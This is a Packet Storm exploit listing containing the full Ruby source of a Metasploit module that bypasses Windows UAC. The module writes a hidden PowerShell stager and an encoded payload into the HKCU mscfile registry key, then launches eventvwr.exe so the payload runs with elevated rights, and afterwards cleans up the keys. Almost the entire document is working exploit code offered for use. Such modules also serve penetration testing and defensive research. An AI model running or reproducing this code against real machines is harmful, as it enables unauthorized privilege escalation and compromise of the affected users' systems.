Windows Escalate UAC Protection Bypass

2016-12-02T00:00:00
ID PACKETSTORM:139992
Type packetstorm
Reporter Matt Graeber
Modified 2016-12-02T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/exe'  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::Powershell  
include Post::Windows::Priv  
include Post::Windows::Registry  
include Post::Windows::Runas  
  
EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile"  
EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"  
EXEC_REG_VAL = '' # This maps to "(Default)"  
EXEC_REG_VAL_TYPE = 'REG_SZ'  
EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe"  
PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"  
CMD_MAX_LEN = 2081  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',  
'Description' => %q{  
This module will bypass Windows UAC by hijacking a special key in the Registry under  
the current user hive, and inserting a custom command that will get invoked when  
the Windows Event Viewer is launched. It will spawn a second shell that has the UAC  
flag turned off.  
  
This module modifies a registry key, but cleans up the key once the payload has  
been invoked.  
  
The module does not require the architecture of the payload to match the OS. If  
specifying EXE::Custom your DLL should call ExitProcess() after starting your  
payload in a separate process.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Matt Nelson', # UAC bypass discovery and research  
'Matt Graeber', # UAC bypass discovery and research  
'OJ Reeves' # MSF module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' => [  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'References' => [  
[  
'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',  
'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'  
]  
],  
'DisclosureDate'=> 'Aug 15 2016'  
))  
end  
  
def check  
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
commspec = '%COMSPEC%'  
registry_view = REGISTRY_VIEW_NATIVE  
  
# Make sure we have a sane payload configuration  
  
if sysinfo['Architecture'] == ARCH_X64  
# On x64, check arch  
if session.arch == ARCH_X86  
# running WOW64, map the correct registry view  
registry_view = REGISTRY_VIEW_64_BIT  
  
if target_arch.first == ARCH_X64  
# we have an x64 payload specified while using WOW64, so we need to  
# move over to sysnative  
commspec = '%WINDIR%\\Sysnative\\cmd.exe'  
else  
# Else, we're 32-bit payload, so need to ref wow64.  
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'  
end  
elsif target_arch.first == ARCH_X86  
# We're x64, but invoking x86, so switch to SysWOW64  
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'  
end  
else  
# if we're on x86, we can't handle x64 payloads  
if target_arch.first == ARCH_X64  
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')  
end  
end  
  
# Validate that we can actually do things before we bother  
# doing any more work  
check_permissions!  
  
case get_uac_level  
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,  
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,  
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT  
fail_with(Failure::NotVulnerable,  
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."  
)  
when UAC_DEFAULT  
print_good('UAC is set to Default')  
print_good('BypassUAC can bypass this setting, continuing...')  
when UAC_NO_PROMPT  
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')  
shell_execute_exe  
return  
end  
  
payload_value = rand_text_alpha(8)  
psh_path = expand_path("#{PSH_PATH}")  
  
template_path = Rex::Powershell::Templates::TEMPLATE_DIR  
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)  
  
psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""  
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"  
  
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""  
  
if existing.empty?  
registry_createkey(EVENTVWR_WRITE_KEY, registry_view)  
end  
  
print_status("Configuring payload and stager registry keys ...")  
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)  
registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)  
  
# We can't invoke EventVwr.exe directly because CreateProcess fails with the  
# dreaded 740 error (Program requires elevation). Instead, we must invoke  
# cmd.exe and use that to fire off the binary.  
cmd_path = expand_path(commspec)  
cmd_args = expand_path("/c #{EVENTVWR_PATH}")  
print_status("Executing payload: #{cmd_path} #{cmd_args}")  
  
# We can't use cmd_exec here because it blocks, waiting for a result.  
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})  
  
# Wait a copule of seconds to give the payload a chance to fire before cleaning up  
# TODO: fix this up to use something smarter than a timeout?  
Rex::sleep(5)  
  
handler(client)  
  
print_status("Cleaining up registry keys ...")  
if existing.empty?  
registry_deletekey(EVENTVWR_DEL_KEY, registry_view)  
else  
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)  
registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)  
end  
  
end  
  
def check_permissions!  
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?  
  
# Check if you are an admin  
vprint_status('Checking admin status...')  
admin_group = is_in_admin_group?  
  
unless check == Exploit::CheckCode::Appears  
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")  
end  
  
unless is_in_admin_group?  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
  
print_status('UAC is Enabled, checking level...')  
if admin_group.nil?  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
else  
if admin_group  
print_good('Part of Administrators group! Continuing...')  
else  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
end  
`